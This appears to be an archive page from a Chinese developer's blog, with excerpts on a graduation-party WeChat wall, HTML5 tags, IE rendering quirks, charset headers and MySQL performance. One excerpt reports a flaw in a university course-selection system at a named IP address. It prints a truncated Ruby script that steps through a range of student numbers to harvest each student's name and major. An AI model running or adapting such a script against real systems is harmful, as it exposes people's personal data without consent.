谁是那晚的 Super Star ? ——微信墙数据的背后

2013年6月19日晚,在华中师范大学的大学生活动中心5楼正举办着我们的大学毕业晚会。立于舞台右侧的投影上滚动显示着现场发来的微信信息,这块实时互动的 微信墙 今晚无疑是抢够了风头……   ?===准备=== 我们的毕业晚会是订在6月19日晚,而我直到18日上午才得知晚会现场需要 微博墙 或 人人墙 进行互动。微博大屏幕需提前3天申请,人人墙需要提前48小时申请…… 依托第三方的微信墙成了最后的救命稻草 能想到微信墙还归因于在人人上面看到的一张 华科大同歌同行 微信墙的照片。多方考证后,到晚上确定使用微信时,发现这个由武大开发的第三方平台很不成熟,前端需要重写 O_o~ 神奇的是,这晚我正好中暑ing ~ 熬夜作罢,所有的压力都压到了第二天 19日早上5:30开始起床code,重写界面样式,添加单条放大功能,顺手修正信息展示中的一个逻辑错误(PS:微信墙作者的前端实力实在不敢恭维~ 好在他们还年轻,前途依旧无量 =.=)。完成这些后,进一步通过自己的服务器请求来中转跳过跨域问题,使 微信墙 可以随时随地在线访问到(http://wall.ichou.cn/)。 然后就是在群里吼上一嗓子,收集BUG,Fix Bug …… 万幸bug很少,所以后面才勉强顺利一点   ===现场=== 由于场地占用问题,入场准备比预计晚了半个多小时,加上投影设备没有提前就位,留给现场调试的时间几乎变成了零。与 赵一起搭完投影,连接好电脑后,发现完全不需要再调试程序了。也几乎与此同时,第一条现场微信出现在大屏幕上,是一个很顺利的开始 晚会现场网络状况略不理想,原计划监控后台的工作由于平台后台简陋的技术处理手段和糟糕的网速变得几乎不可能了,这也意味着当晚的微信将完全没有审核和删除机制(所幸在此处这一点并不那么重要~)。同样因为网络问题,现场大屏幕的电脑随时有断网的危险,这确实是折磨了我一个晚上的问题。另外,踩掉接线板的问题也让我颇为担心~ 可最终它还是发生了 =.= 总的来说,微信墙 表现还是足够强健稳定的,面对滔滔的刷屏并没有出现让我尴尬的技术故障,给同学四年的大家留下一个完美的回忆,这已经是我最欣慰的事了。   ===后期分析=== 晚会伊始,我预测当晚的微信量会超过2000,这个数据相比起微博墙、人人墙的3位数级数据量根本就是不可同日而语。这就是微信的优势——可以肆无忌惮的发送,而不用担心刷屏带来的其他影响。 最后的数据显示: 微信墙总微信数为 1837 条,活动现场为 1749 条 (离目标就差一点点了~) 通过每分钟微信条数显示: 从数据来看,郭珩的大腿和红色小裤裤毫不留情的荡涤了观众的底线,引来了全场最高的吐槽率,完胜! 全场的几次刷屏高潮分别出现在: 18:48 —— 晚会开场之前,大部分人刚刚进入刷屏模式,各种无节操的闲扯 19:23 —— 开场视频,满载大学四年回忆的视频和老师们的一句句赠言与祝福,同志们情绪立马就激动了~ […]

华师网站漏洞报告:选课系统

漏洞地址:http://218.199.196.57/scripts/init 漏洞描述:输入学号即可得到姓名与专业   其实这个也算不上什么漏洞,只是设计者脑子进水了而已,这样的一来谁都可以拿到一份全华师本科生的 学号-姓名-专业 对照表 如果要从官方途径拿这个表可是要费些功夫的 而且据说12级的他们还怎么都不给是吧 那么就只能赞扬选课系统设计者的开源精神咯 写脚本 收走: #华师选课系统漏洞利用 Ruby 版本 # encoding: utf-8 require ‘net/http’ require ‘uri’ require “iconv” 2012210001.upto(2012214600){|num| uri = URI.parse(“http://218.199.196.57/scripts/init”) req = Net::HTTP::Post.new(uri.path) req.set_form_data(‘strVerify’ => ‘false’, ‘strUser’ => “#{num}”) req.add_field(‘Cookie’, ‘iscookies=y; domain=218.199.196.57; path=/; expires=Sun, 30 Dec 2012 23:50:49 GMT’) res = Net::HTTP.start(uri.host, uri.port) do |http| http.request(req) end conv […]

Choosing Between article and section

写在前面的废话: 最近开始看《html5 Cookbook》 影印版对我来说还是是个挑战,不过对于早就习惯厚厚的全英文教材的我来说,还是比较Easy(祈祷这次四级能过?=。=) <article>?和?<section>?是html5新增的两个主力标签元素, 虽然他们不像<header>,<footer>,<nav>那样个性鲜明,但是他们为结束?混乱<div>时代?带来了可能 按作者的意思,他们将为HTML DOM结构带来划时代的变革   1.与<div>的关系 section Is the most generic of the new structural elements, containing content that can be grouped thematically or is related. article Is used for self-contained content that could be consumed independently of the page as a whole, such as a blog enry. 这是官方给出的定义,其实相当模糊的,特别是<section>的使用 而且<div>依旧是HTML5支持的一个标签,When to […]

关于360se的某些行为研究

首先声明:此问题研究中,无定论,切勿偏信 最近遇到一个奇葩的问题,好不容易通过单独写IE6.css修复了IE6的样式问题,结果发现在IE8+360se的电脑上出现了IE6原来的BUG 会这样的原因其实很简单,因为我用了html注释的方式来hack <!–[if lt IE 7]><link rel=”stylesheet” href=”ie6.css” type=”text/css”><![endif]–> 在360se+IE8下面,这个ie6.css并没有加载,然后在360se里面又按ie的方式渲染了,所以如此罢了 可是解决这个问题的过程中,发现了一些有趣的问题: ?注:本文中调试用的360se是6.0版本,带?开发人员工具台?功能,且已安装chrome IE6+360se: 加载了ie6.css,页面正常渲染 打开调试台,居然是chrome的调试台?=。=(电脑已经装了chrome) css3圆角支持,html5画板支持 IE8+360se: 没有加载ie6.css,页面坏了,表现出IE6的症状 打开调试台,这次出来的不是chrome的了,是IE8的调试台 浏览器模式:IE8 ?文本模式:IE7?(问题的关键所在?=。=) css3圆角支持,html5画板支持 IE8: 没有加载ie6.css,页面正常渲染 打开调试台:浏览器模式:IE8??文本模式:IE8 css3圆角不支持,html5画板不支持 于是乎就有结论了,360那种怪异的渲染模式其实一点都不怪异,在IE8+里面开启兼容模式(兼容到IE7)时,也会出现相同的问题 换句话说:我的页面在IE7下面应该也是坏的,同样需要hack ?=。=~囧 至于到底是什么在影响IE8+对浏览器模式与文本模式的选择这个问题我也没有搞清楚,IE10里面还支持比IE7更低版本的兼容,如果兼容模式下是不可控的向下兼容那不是就是一个灾难? 加上上次测试 z-index的经验,我感觉这个应该是与html文档的声明有关系的,具体情况有待探究 o_O~

当 body 遭遇 Z-index=-1

首先声明,此问题探究ing,产生原因暂时不明?=。= 事情起因是我为了处理多层背景叠加层次问题而2B的对<body>标签使用了 position: relative; z-index:?-1; 然后发现整个世界在IE里都崩溃了 o_O~ 下面是一段关于这个问题的典型表现 <!DOCTYPE html> <HTML> <HEAD> <TITLE>z-index对hover区域的影响</TITLE> <style> body {position: relative; z-index:?-1;} a {display: block;background:?#dddddd;width: 400px;height: 200px;border: 20px solid #333333;} a:hover {color: red;} </style> </HEAD> <BODY> <a href=”http://blog.braingit.com/”>braingit</a> </BODY> 运行效果:?dome 症状表现: 如果是你是IE8以上,那么会奇迹的发现只有当鼠标位于文字或边框上面才会有hover的效果,也就是说变成了只有拥有实际内容的区域才是hover的热区 IE7没有测试,从兼容模式来看有可能是正常的 Chrome,FF 表现正确(准确的说因该是符合预期) IE6 待测…… 触发条件: 浏览器:IE8+ 文档声明(即<!DOCTYPE bala bala~):不确定 样式和对象:body标签被设置为 z-index:?-x (PS:只有设置body才会触发,如果是其他父层元素不会产生此问题) 对于IE7表现正确的解读: 由于整个页面应该是只有body元素有定位属性,所以并不满足IE6/7那个著名的z-index bug的产生条件 因此IE7表现正常的话我猜测也许和?<!DOCTYPE […]

关于IE下UTF8与UTF-8的问题

记得老早以前热心于前端的时候有在书上看到过:Content-Type里面不要使用UTF8,虽然它跟UTF-8是同样的意思,但是IE不支持这种识别。。。 想必当时肯定大骂IE吧,你能更奇葩点吗? 不过在后来的实际情况中貌似从未遇到过这个问题, 首先,大神们已经营造了一个很好的环境,估计现在要在某个网页的<mate>头里找到UTF8比找到恶意代码还要难 再者,那些使用自动完成的coder从一开始就注定写不出UTF8吧 说到底,估摸很多人根本就不知道两者有什么不同呢。。。 不过昨天我终于遇到了,说来有些偶然,算邂逅? 在用ajax请求时,返回的东西是一个字符串,由于返回的信息太简单,我连json都不想用了,直接echo了 然后发现在IE里面返回值居然是undefiend 开始以为是异步问题,后来想想自己是在回掉函数里面操作的,绝对不会存在 异步/同步 的问题的 然后在一个毫不起眼的百度知道里看到了真相 UTF8/UTF-8 一看返回hml的http头: 键?值 Content-Type?text/html; charset=UTF8 擦?页面里没写?charset 输出头居然自动设置成utf8了 我的整站都是utf-8,就不知道它这是要闹那般 没办法 加上?Content-Type?text/html; charset=UTF8的header 问题搞定 欲知详情 谷歌>百度

PHP对mysql执行insert or update各种方法性能研究

insert or update是每个程序猿必然会遇到的问题,相信大家都有自己拿手的处理方式 可是说到底哪种方式才是最优的估计就没几个人说得上来了吧 于是在一个寂寥无人的晚上,我在php技术交流群里掀起了这个话题,结果。。。只有一个人理我——一行。 来 今晚的议题是:mysql执行insert or updata最便宜的方法 便宜? 就是最高效的 在算法里 越少的计算量称为越便宜 你说说哪种方案好? 这个 第二个好吧 至少看上去是的 用第二种是不是是直接找到name然后插入两条,而第一中会去找两次name? 还是说两个的存储过程是一模一样的,都会先找name,再插入数据? 别用三流程序员的方式来交流嘛 写个for看下你就懂了 好 马上去试 for 1k 0.4703 第一种方法 (沉默~沉默~沉默~~写了个全角等号没看出来,因为报错调试十分钟~~) 0.0427 第二种方法 这个时间包含了php执行的时间 == 我发现执行时间很不稳定 =。= 好吧 各种百度后我发现 我不知道怎么测 但是从无数次(夸张)刷新的平均值来看 感觉第二种要快一点 当然啊! 有什么方法可以测得更直接点 CI里没有测数据库操作时间的方法 貌似 所以我用了执行过程时间 这个出来的值波动忒大 我也是用microtime计算 http://www.itpub.net/ 这里的DBA还是很多的 http://space.itpub.net/?uid-28274571-action-viewspace-itemid-746986 向MySQL数据库循环插入记录的存储过程 时值夜半两点,聊天就此结束 至于用什么方法 insert/update 好,从原理上应该很清晰了吧 作为数据库,索引速度是至关重要的,mysql的机制还是相当聪明的。做程序猿,用物得用其极,如果只是简单粗暴的解决问题,和那些只会套模板的“设计师”有什么区别? […]